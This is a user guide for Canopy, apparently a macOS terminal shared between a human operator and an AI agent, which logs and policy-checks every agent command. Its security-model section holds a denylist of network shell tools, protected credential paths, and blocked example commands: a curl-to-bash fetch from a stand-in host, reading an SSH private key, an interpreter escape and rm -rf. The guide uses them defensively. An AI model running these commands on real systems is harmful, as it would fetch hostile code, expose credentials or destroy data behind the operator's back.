Canopy User Guide
Canopy is a macOS terminal that both you and an AI agent can drive — the same session, visible to you, with every agent command logged and policy-checked.
What Canopy Is
Canopy is an SSH/local terminal for macOS with one distinguishing idea: an AI agent (Claude Code, Codex, or any MCP client) can connect to the very terminal you're looking at and type into it — while a policy engine decides what it's allowed to do, and a log records every keystroke it sends.
For you (the operator)
- A clean tabbed terminal with split panes
- Saved server profiles (password or SSH key)
- Side panels: file browser, SFTP compare, live command log, Git
- Per-server dashboards with live stats
For the agent
- Three adapters over one capability registry: MCP, CLI, HTTP
- A loopback-only bridge (port
8421) secured with a bearer token - Read-only servers, autonomy levels, a security denylist, and protected paths
- Every action attributed to
actor: agentand logged
Core principle The terminal is shared and visible. Anything the agent does, you can watch happen live and read back in the log. It is not a hidden, sandboxed shell.
Install & First Launch
- Open the Canopy DMG and drag Canopy.app onto the Applications folder shortcut.
- Launch Canopy from Applications. On first run macOS may warn about an unidentified developer — right-click the app and choose Open to bypass once (notarized builds open normally).
- You'll see the Welcome screen with two buttons: Open Local Terminal (a shell on this Mac) and Add Server (a saved SSH profile).
That's it for the human side. To let an agent drive Canopy, see Agent Access (MCP).
The Main Window
The window has three regions: the sidebar (left), the detail area (center — terminal or Git), and optional right panels. A toolbar runs across the top.
Toolbar — left side
| Button | Icon | What it does | Shortcut |
|---|---|---|---|
| Sidebar | ▤ sidebar.left | Show/hide the server & session sidebar | ⌘0 |
| Dashboard | 📊 chart.bar | Open the live stats dashboard for the current server (or local) | — |
| Git | ⑂ branch | Switch the detail area to the Git view | ⌘⇧G |
| Files | 📁 folder | Toggle the local file browser panel | ⌘⇧F |
| SFTP Compare | ⇄ arrows | Toggle the local↔remote diff panel | ⌘⇧F |
| Approvals badge | ⚠️ orange | Appears only when a session is waiting for approval; jumps you to the first one | — |
| Log | ▤ list | Toggle the live command log panel | ⌘⇧L |
Toolbar — right side
- Light/Dark toggle (◐) — flips the appearance mode instantly.
- Settings (⚙) — opens the Settings window. ⌘,
Context-aware toolbar The Git and Files buttons only appear when you're in the local context; SFTP Compare only appears when the active tab is an SSH session. This keeps the toolbar relevant to what you're doing.
Adding a Server
Click Add Server (Welcome screen, or the + in the sidebar's "Servers" header). The New Server sheet has these sections:
Connection
| Field | Notes |
|---|---|
| Name | A label for your list, e.g. Production Server. |
| Host | Hostname or IP, e.g. 10.118.0.20 or example.com. |
| Username | The remote login user, e.g. icassio or root. |
| Access | Read/Write or Read-Only. Read-only warns you and blocks write commands for agents on this server. See Security Model. |
| Additional Allowed Commands | Comma-separated commands to also permit for agents on this read-only server, e.g. git fetch, curl, jq. Never bypasses an always-confirm approval. |
| Record Sessions | Toggle asciinema .cast recording for this server. See Session Recording. Read-only servers default this on; others default off. |
Authentication
- Method: Password or SSH Key.
- Password (password method) — stored in the macOS Keychain, never in plaintext config.
- SSH Key Path (key method) — path to your private key, or click Browse…. Defaults to
~/.ssh/id_rsa. - Key Passphrase (optional) — if your key is encrypted, enter its passphrase here (also Keychain-stored).
Key format matters Canopy's SSH library only reads modern OpenSSH-format private keys. Legacy AWS .pem files and PuTTY .ppk files must be converted first — see SSH Key Formats.
File Sync (Optional)
Sets up the SFTP Compare panel and the agent's sync.* capabilities:
- Local Path — your local project folder (Browse… to pick).
- Remote Path — the matching directory on the server, e.g.
/var/www/html. - Exclude Patterns — comma-separated, e.g.
.git, node_modules, .DS_Store.
Tags
Comma-separated labels for organizing servers, e.g. production, web, us-east.
Click Test Connection to verify before saving, then Add.
Connecting
- Double-click a server in the sidebar, or right-click → Open Connection, to start an SSH session.
- If the password/passphrase isn't in the Keychain yet, a password prompt sheet appears.
- Host key pinning (TOFU): the first time you connect, Canopy pins the server's host key. If it later changes, the connection is refused with a clear warning — reset the pinned key from the server's Edit… sheet (Reset Pinned Key) only if the change is legitimate.
SSH Key Formats — the common gotcha
Canopy uses the Citadel SSH library, which parses only OpenSSH-format private keys with modern ciphers (none, aes128-ctr, aes256-ctr). Two older formats fail — and Canopy now detects them and tells you exactly how to fix each:
| Your file | Why it fails | Fix |
|---|---|---|
Legacy .pem |
Encrypted with a legacy OpenSSL cipher (e.g. DES-EDE3-CBC) that Citadel can't decrypt. Common for pre-2019 AWS EC2 keys. |
Convert in place (keeps your passphrase):ssh-keygen -p -f /path/to/key.pemthen point Canopy at the same file. |
PuTTY .ppk |
PuTTY's proprietary format isn't an OpenSSH key at all. | puttygen key.ppk -O private-openssh -o key.opensshthen point Canopy at the .openssh file. |
Best practice Convert a copy so your original key stays intact for CLI use:cp ~/mykey.pem ~/mykey-canopy && chmod 600 ~/mykey-canopy && ssh-keygen -p -f ~/mykey-canopy
"Couldn't load the SSH key" If one server connects with a key but a second identical server fails with this error, the key file is fine (it loaded once) — the passphrase you typed for the second server doesn't match. Key loading is purely local and deterministic: the same file + same passphrase always loads the same way. Re-enter the passphrase carefully (watch for Caps Lock or a trailing space). To confirm the passphrase itself is right, run ssh-keygen -y -f ~/mykey-canopy — if it prints a public key, that's the passphrase Canopy needs.
Managing Servers
Right-click any server in the sidebar for its context menu:
| Menu item | Action |
|---|---|
| Open Connection | Start (or focus) an SSH session to this server. |
| Close Connection | Disconnect the session. |
| Edit… | Reopen the profile sheet to change any field. |
| Duplicate | Clone the profile — handy for a second identical server (copies key path, access mode, etc.; you still enter the passphrase on first connect). |
| View Command Log | Open this server's full command log. |
| Delete | Remove the profile. |
Terminal & Tabs
The detail area hosts a full xterm-256color terminal. Controls in the tab strip:
- + — New tab.
- ⬒ split (rectangle.split.2x1) — Split pane (⌘D) to run two shells side by side.
- ✕ — Close pane / tab.
- REC badge — shown when the session is being recorded.
- Agent-active indicator — shows when an agent is currently driving this session; a separate Waiting for approval indicator appears when a command is blocked pending your OK.
Panels
📁 Files (local)
A file browser for the local machine. Toggle with the Files button or ⌘⇧F.
⇄ SFTP Compare (SSH)
Diffs your profile's Local Path against its Remote Path over SFTP, then lets you push or pull selected files. This is the same engine the agent's sync.preview/sync.push/sync.pull use.
▤ Command Log
A live feed of every command run in this server's sessions — yours and the agent's — with the actor and the policy decision. Toggle with ⌘⇧L.
Right-panel layout
Panels open in a resizable split beside the terminal. Closing the last panel auto-restores the terminal to full width.
Git
Press ⌘⇧G or the Git toolbar button (local context) to switch the detail area to the Git view. The sidebar becomes a repo list; the main area shows a commit graph. Repos can be scanned from a root folder (this powers the agent's repos.scan/repos.list/repo.status capabilities). Destructive actions like a hard reset are clearly marked.
Dashboards
The Dashboard toolbar button (📊) opens a live stats view — for a server it shows remote metrics; for local it shows this Mac's CPU/memory. If a server has no open session, selecting it shows its dashboard in the detail area automatically.
Settings Tabs
Open with ⌘, or the ⚙ toolbar button. Five tabs:
About
Version/build info, and Agent Access (MCP) — a Set Up Claude Code Access button that registers Canopy as an MCP server in one click (see below).
Appearance
Light/Dark/System mode, plus optional window wallpaper with adjustable blur.
Toolbar
Toggle which buttons appear in the toolbar (Dashboard, Git, Files, SFTP, Log) — tailor it to what you use.
Policy
The heart of agent governance:
| Control | What it governs |
|---|---|
| Autonomy mode | Manual / Standard / Autonomous — how much the agent can do without asking. See Security Model. |
| Hold keystrokes while agent active | When on, your typing is buffered (not sent) while an agent drives; when off (default), your keystrokes are discarded when you take over — the safer default. |
| Record Sessions (Local Terminal) | Global toggle for recording local sessions. Per-server recording lives on each server's edit sheet. |
| Read-only allowlist | Commands agents may run on read-only servers (one per line). |
| Read-write blocklist | Commands blocked on every server for both you and agents (one per line). |
| Security denylist | Commands blocked for agents only, on read-only servers and always on Local Terminal (one per line). |
| Protected paths | Glob patterns an agent may never pass as a command argument on a protected server (one per line). |
| Always-confirm patterns | Substrings that always require explicit approval at every autonomy level — matched against the full command line (one per line). |
General
Miscellaneous app preferences.
Agent Access (MCP)
Canopy runs a loopback-only agent bridge (default port 8421), authenticated with a bearer token stored in ~/Library/Application Support/Canopy/agent-bridge.json. An agent reaches it three equivalent ways:
| Adapter | How |
|---|---|
| MCP | node agent/bin/canopy.js mcp (stdio). Registered as canopy in your MCP client config. |
| CLI | node agent/bin/canopy.js <capability> [--flags] [--approve] |
| HTTP | GET /capabilities, POST /invoke with a Bearer token |
The fastest setup: Settings → About → Set Up Claude Code Access. This runs the bundled one-shot installer that registers Canopy with Claude Code / Codex on this machine.
Discover, don't hardcode Agents should read the live capability list at runtime — GET /capabilities, the canopy://capabilities MCP resource, or the runtime.capabilities tool — rather than assuming a fixed set.
Capability Reference
Every agent action is a registered capability with a permission tier that drives approval. Tiers: read writeLowRisk writeHighRisk.
| Capability | Tier | What it does |
|---|---|---|
runtime.status | read | Report runtime, bridge & selection state. |
runtime.capabilities | read | List all registered capabilities. |
runtime.audit.tail | read | Read recent agent audit records (approvals, decisions). |
approvals.list | read | List sessions currently blocked on an always-confirm approval. |
profiles.list | read | List configured server profiles (with access mode). |
profiles.select | writeLowRisk | Select a profile by ID. |
repos.list / repos.scan / repo.status | read | Enumerate/scan Git repos and read status. |
repo.select | writeLowRisk | Select a repo by path. |
terminal.sessions.list | read | List local & SSH sessions. |
terminal.session.read | read | Read a session's scrollback (honors lines). |
terminal.session.send | writeLowRisk | Run a command in a live, visible session. Logged as actor: agent. |
terminal.session.focus | writeLowRisk | Focus a specific session. |
terminal.session.open_local | writeLowRisk | Open a local shell (denylist & protected-path checks always apply). |
terminal.session.open_ssh | writeLowRisk | Open an SSH session. Refused if the profile is read-only. |
ui.panel.show / ui.panel.hide | writeLowRisk | Show/hide a panel (files, sftp, log, git). |
sftp.read_file | read | Read one remote file over SFTP (≤1 MiB; base64 if non-UTF-8). |
sftp.write_file | writeHighRisk | Write one remote file. Refused on read-only profiles. |
sync.preview | read | SFTP diff of local vs remote for a profile. |
sync.push | writeHighRisk | Push previewed files to remote. Refused on read-only. |
sync.pull | writeHighRisk | Pull previewed files from remote. |
Security Model
Four independent layers decide whether an agent command runs. They stack — a command must clear all applicable ones.
1. Access mode (per server)
- Read/Write — normal server.
- Read-Only — agents may only run commands on the read-only allowlist (plus any per-server "Additional Allowed Commands"). Write commands are refused with
policy_blockedand asuggestion. Default allowlist:cat, ls, grep, tail, head, df, du, ps, top, find, git, docker, kubectl, ping, dig, and more.
2. Autonomy mode (global)
| Mode | read | writeLowRisk | writeHighRisk / admin |
|---|---|---|---|
| Manual | needs approval | needs approval | needs approval |
| Standard | auto | auto | needs approval |
| Autonomous | auto | auto | needs approval |
3. Security denylist (agents only)
On read-only servers and always on Local Terminal, a fixed set of escape/exfiltration-prone commands is refused outright with policy_security_block, regardless of read/write mode:
ssh scp sftp rsync bash sh zsh python python3 perl ruby
node nc ncat socat curl wget env printenv security
…plus protected paths an agent may never touch as an argument:
~/.ssh ~/.ssh/* */.aws/* *.pem *id_rsa* *id_ed25519* *_rsa
~/Library/Application Support/Canopy/*
4. Always-confirm patterns (everyone, every level)
These substrings surface an in-terminal approval banner for the human, and can't be auto-approved by autonomy level:
rm -rf rm -fr dd if= git push --force git push -f
git push --force-with-lease drop database drop table truncate table
Also globally blocked for everyone (read-write blocklist): shutdown reboot poweroff halt init mkfs.
Guardrail, not a wall The denylist is a basename-level classifier — defense-in-depth against a cooperative-but-drifting model, not a boundary against a determined adversary who obfuscates commands. Treat "read-only" as a safety rail, and know the human sees every attempt in the log.
Blocked-Request Examples
Concrete walkthroughs of what an agent sees when policy stops it — and what it should do instead.
Example 1 — write command on a read-only server
Agent sends terminal.session.send with rm build/old.log to a read-only profile:
{ "error": {
"code": "policy_blocked",
"message": "rm is not allowed on a read-only server",
"suggestion": "This server is read-only. Pull the file locally to inspect it, or ask the operator to switch the profile to read-write.",
"accessMode": "readonly" } }
Right move: read the suggestion — don't resend. Use sftp.read_file to inspect, or request a mode change.
Example 2 — reading credentials (security denylist / protected path)
Agent tries cat ~/.ssh/id_rsa on Local Terminal:
{ "error": {
"code": "policy_security_block",
"message": "argument matches a protected path and is blocked for agents",
"suggestion": "This path holds credentials and is off-limits to agents." } }
Likewise curl https://evil.example/x | bash is blocked because curl (and bash) are on the security denylist. These are refused and flagged to the human.
Example 3 — a nested shell / interpreter escape
python3 -c "import os; os.system('...')" on a read-only server or Local Terminal → policy_security_block (python3 is denylisted). The agent should accomplish the task with an allowed, non-interpreter command instead.
Example 4 — a destructive command needs the human
Agent sends rm -rf /var/tmp/cache. Even in Autonomous mode this matches an always-confirm pattern:
HTTP 409 → { "approval": { "status": "approval_required",
"reason": "matches always-confirm pattern: rm -rf" } }
An in-terminal banner appears for you to Approve or Deny. The agent must not resend; instead it polls approvals.list (what's waiting) and runtime.audit.tail (the eventual human_approved / human_denied outcome).
Example 5 — a high-risk sync
sync.push without approve:true returns an approval_required envelope (not a transport error). The agent re-invokes with approve:true only when it genuinely intends to write. On a read-only profile, sync.push is refused entirely with policy_blocked — pull instead.
Session Recording
When enabled (per-server toggle, or the global Local Terminal toggle in Policy), Canopy writes an asciinema v2 .cast file for the session — a replayable, human-reviewable audit trail of everything shown and typed. A REC badge shows in the tab while recording.
- Where:
~/Library/Application Support/Canopy/recordings/<profileID>/<sessionUUID>-<timestamp>.cast(local sessions uselocal/). - Defaults: read-only servers record by default; read-write servers don't, unless you flip the toggle.
- Playback: Canopy doesn't play them back itself — use
asciinema play <file>or the asciinema web player. - Format: a JSON header line, then one
[elapsed, "o"|"i", text]event per line. Plain text — highly compressible.
Disk Usage & Retention
Recordings and command logs are pruned automatically, so neither grows without bound.
Automatic 30-day retention On launch, Canopy deletes session recordings (.cast) and per-server command logs (.jsonl) that are more than 30 days old. There's nothing to clean up by hand — old artifacts age out on their own. The agent audit log is bounded separately by size rotation.
What's kept, and how large it gets
- Per-file cap: a single recording auto-stops at 50 MB, so no one session can run away.
- Retention window: anything older than 30 days is removed at the next launch — steady-state disk use is bounded by your last ~30 days of activity.
- Recordings are plain-text asciicast, so a normal interactive session is only a few KB to a few MB; heavy continuous output (a
top/htopleft running, a tailed log, a verbose build) is what grows a file toward the cap.
Checking current usage (optional)
Retention is automatic, but if you ever want to see what's on disk:
du -sh ~/Library/Application\ Support/Canopy/recordings
du -sh ~/Library/Application\ Support/Canopy/recordings/* # per server
Practical guidance:
- Enable recording where you want audit evidence — read-only production servers record by default; your everyday local shell probably doesn't need it (toggle in Policy).
- Playback:
asciinema play <file>, and the files gzip extremely well (often 90%+) if you archive any before they age out.
Troubleshooting
| Symptom | Cause & fix |
|---|---|
"The operation couldn't be completed" on a .pem key | Legacy-encrypted PEM. Convert: ssh-keygen -p -f key.pem. See SSH Key Formats. |
"Unsupported SSH key format" / .ppk | PuTTY format. Convert with puttygen … -O private-openssh. |
| "Couldn't load the SSH key" on a second server that shares a working key | The passphrase typed for that server is wrong. Key loading is deterministic — same file + same passphrase always works. Re-enter carefully; verify with ssh-keygen -y -f key. |
| Host key changed / connection refused | TOFU pin mismatch. If legitimate (server rebuilt), Edit… the server → Reset Pinned Key, then reconnect. |
Agent commands all return approval_required | Autonomy is set to Manual, or the command matches an always-confirm pattern. Check Policy settings and approve in the terminal banner. |
| Agent can't connect at all | Bridge not listening. Check ~/Library/Application Support/Canopy/agent-bridge.json (isListening should be true) and re-run Settings → About → Set Up Claude Code Access. |
| Recordings eating disk | They shouldn't — Canopy auto-deletes recordings & command logs older than 30 days on launch. See Disk Usage & Retention. |
File Locations
Everything lives under ~/Library/Application Support/Canopy/:
| Path | Contents |
|---|---|
profiles.json | Your saved server profiles (secrets are in the Keychain, not here). |
agent-bridge.json | Bridge port, bearer token, isListening state. |
agent-audit.jsonl | Rolling, size-rotated audit log of agent actions & approvals. |
agent-command-log.md | Human-readable mirror of agent terminal commands. |
logs/<profileID>.jsonl | Per-server command logs (actor, adapter, policy decision) . |
recordings/<profileID>/*.cast | asciinema session recordings . |
known-hosts.json | Pinned SSH host keys (TOFU). |
snippets.json, tasks.json, goals.json | Saved snippets, tasks, and goals. |